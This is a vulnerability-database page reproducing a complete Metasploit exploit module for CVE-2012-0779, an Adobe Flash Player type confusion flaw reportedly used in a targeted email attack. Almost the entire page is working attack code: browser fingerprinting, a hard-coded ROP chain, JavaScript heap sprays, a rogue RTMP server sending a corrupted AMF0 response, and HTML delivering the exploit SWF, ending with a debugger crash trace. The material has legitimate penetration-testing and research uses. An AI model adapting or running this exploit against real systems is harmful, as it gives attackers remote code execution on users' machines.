Lucene search
K

Adobe Flash Player Object Type Confusion

🗓️ 23 Jun 2012 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Adobe Flash Player Object Type Confusion vulnerability with remote code execution potential. Exploited in "World Uyghur Congress Invitation.doc" attack targeting Adobe Flash Player version 10.3.183.19 and 11.x before 11.2.202.235. Allows arbitrary code execution under user context

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:method => "GetVariable",  
:classid => "ShockwaveFlash.ShockwaveFlash",  
:rank => NormalRanking, # reliable memory corruption  
:javascript => true  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player Object Type Confusion",  
'Description' => %q{  
This module exploits a vulnerability found in Adobe Flash  
Player. By supplying a corrupt AMF0 "_error" response, it  
is possible to gain arbitrary remote code execution under  
the context of the user.  
  
This vulnerability has been exploited in the wild as part of  
the "World Uyghur Congress Invitation.doc" e-mail attack.  
According to the advisory, 10.3.183.19 and 11.x before  
11.2.202.235 are affected.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-0779' ],  
[ 'OSVDB', '81656'],  
[ 'BID', '53395' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info  
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]  
],  
'Payload' =>  
{  
#'Space' => 1024,  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Flash Player 11.2.202.228  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'Rop' => nil,  
'RandomHeap' => false,  
'Offset' => '0x0'  
}  
],  
[  
'IE 7 on Windows XP SP3',  
{  
'Rop' => nil,  
'RandomHeap' => false,  
'Offset' => '0x0'  
}  
],  
[  
'IE 8 on Windows XP SP3 with msvcrt ROP',  
{  
'Rop' => :msvcrt,  
'RandomHeap' => false,  
'Offset' => '238',  
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "May 04 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),  
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),  
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),  
], self.class  
)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
else  
return nil  
end  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
def ret(t)  
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll  
end  
  
def popret(t)  
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll  
end  
  
def get_rop_chain(t)  
  
# ROP chains generated by mona.py - See corelan.be  
print_status("Using msvcrt ROP")  
rop =  
[  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c,  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
0x00001000, # EBX  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
code = ret(t)  
code << rand_text(119)  
code << rop  
code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem  
code << payload.encoded  
offset = 2616 - code.length  
code << rand_text(offset)  
code << [ t['StackPivot'] ].pack("V")  
return code  
end  
  
def get_easy_spray(t, js_code, js_nops)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
  
heap_obj.gc();  
for (var z=1; z < 0x185; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
  
def get_aligned_spray(t, js_rop, js_nops)  
  
spray = <<-JS  
  
var heap_obj = new heapLib.ie(0x20000);  
var nops = unescape("#{js_nops}");  
var rop_chain = unescape("#{js_rop}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);  
  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
  
heap_obj.gc();  
for (var z=1; z < 0x1c5; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
def exploit  
@swf = create_swf  
  
# Boilerplate required to handled pivoted listeners  
comm = datastore['ListenerComm']  
if comm == "local"  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
@rtmp_listener = Rex::Socket::TcpServer.create(  
'LocalHost' => datastore['RTMPHOST'],  
'LocalPort' => datastore['RTMPPORT'],  
'Comm' => comm,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self,  
}   
)  
  
# Register callbacks  
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|  
add_socket(cli)  
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")  
on_rtmp_connect(cli)  
}  
  
@rtmp_listener.start  
  
super  
end  
  
def my_read(cli,size,timeout=nil)  
if timeout.nil?  
timeout = cli.def_read_timeout  
end  
  
buf = ""  
::Timeout::timeout(timeout) {  
while buf.length < size  
buf << cli.get_once(size - buf.length)  
end  
}  
buf  
end  
  
def do_handshake(cli)  
c0 = my_read(cli, 1)  
c1 = my_read(cli, 1536) # HandshakeSize => 1536  
s0 = "\3" # s0  
s1 = Rex::Text.rand_text(4) # s1.time  
s1 << "\x00\x00\x00\x00" # s1.zero  
s1 << Rex::Text.rand_text(1528) # s1.random_data  
s2 = c1 # s2  
cli.put(s0)  
cli.put(s1)  
cli.put(s2)  
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)  
end  
  
def on_rtmp_connect(cli)  
  
begin  
do_handshake(cli)  
request = my_read(cli, 341) # connect request length  
  
case request  
when /connect/  
rtmp_header = "\x03" # Chunk Stream ID  
rtmp_header << "\x00\x00\x00" # Timestamp  
rtmp_header << "\x00\x00\x71" # Body Size  
rtmp_header << "\x14" # AMF0 Command  
rtmp_header << "\x00\x00\x00\x00" # Stream ID  
  
# String  
rtmp_body = "\x02" # String  
rtmp_body << "\x00\x06" # String length  
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number  
# Array  
rtmp_body << "\x0a" # AMF Type: Array  
rtmp_body << "\x00\x00\x00\x05" # Array length: 5  
# Array elements  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Crafter Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
  
trigger = rtmp_header  
trigger << rtmp_body  
  
cli.put(trigger)  
@rtmp_listener.close_client(cli)  
end  
rescue  
ensure  
@rtmp_listener.close_client(cli)  
remove_socket(cli)  
end  
  
end  
  
def cleanup  
super  
return if not @rtmp_listener  
  
begin  
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)  
if @rtmp_listener.kind_of?(Rex::Socket)  
@rtmp_listener.close  
@rtmp_listener.stop  
end  
@rtmp_listener = nil  
rescue ::Exception  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
print_status("Client requesting: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending Exploit SWF")  
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })  
return  
end  
  
p = payload.encoded  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
  
if not my_target['Rop'].nil?  
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))  
js = get_aligned_spray(my_target, js_rop, js_nops)  
else  
js = get_easy_spray(my_target, js_code, js_nops)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource  
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"  
  
if datastore['RTMPHOST'] == '0.0.0.0'  
rtmp_host = Rex::Socket.source_address('1.2.3.4')  
else  
rtmp_host = datastore['RTMPHOST']  
end  
  
rtmp_port = datastore['RTMPPORT']  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<center>  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"  
id="test" width="1" height="1"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">  
<param name="movie" value="#{swf_uri}" />  
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"  
<embed src="#{swf_uri}" quality="high"  
width="1" height="1" name="test" align="middle"  
allowNetworking="all"  
type="application/x-shockwave-flash"  
pluginspage="http://www.macromedia.com/go/getflashplayer"  
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">  
</embed>  
  
</object>  
</center>  
  
</body>  
</html>  
|  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
def create_swf  
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )  
fd = ::File.open( path, "rb" )  
swf = fd.read(fd.stat.size)  
fd.close  
  
return swf  
end  
  
end  
  
=begin  
  
* Flash Player 11.2.202.228  
  
(348.540): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000  
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202  
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:  
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]  
ds:0023:44444470=????????  
  
0:000> u eip  
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:  
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]  
104b1b30 53 push ebx  
104b1b31 ffd0 call eax  
  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation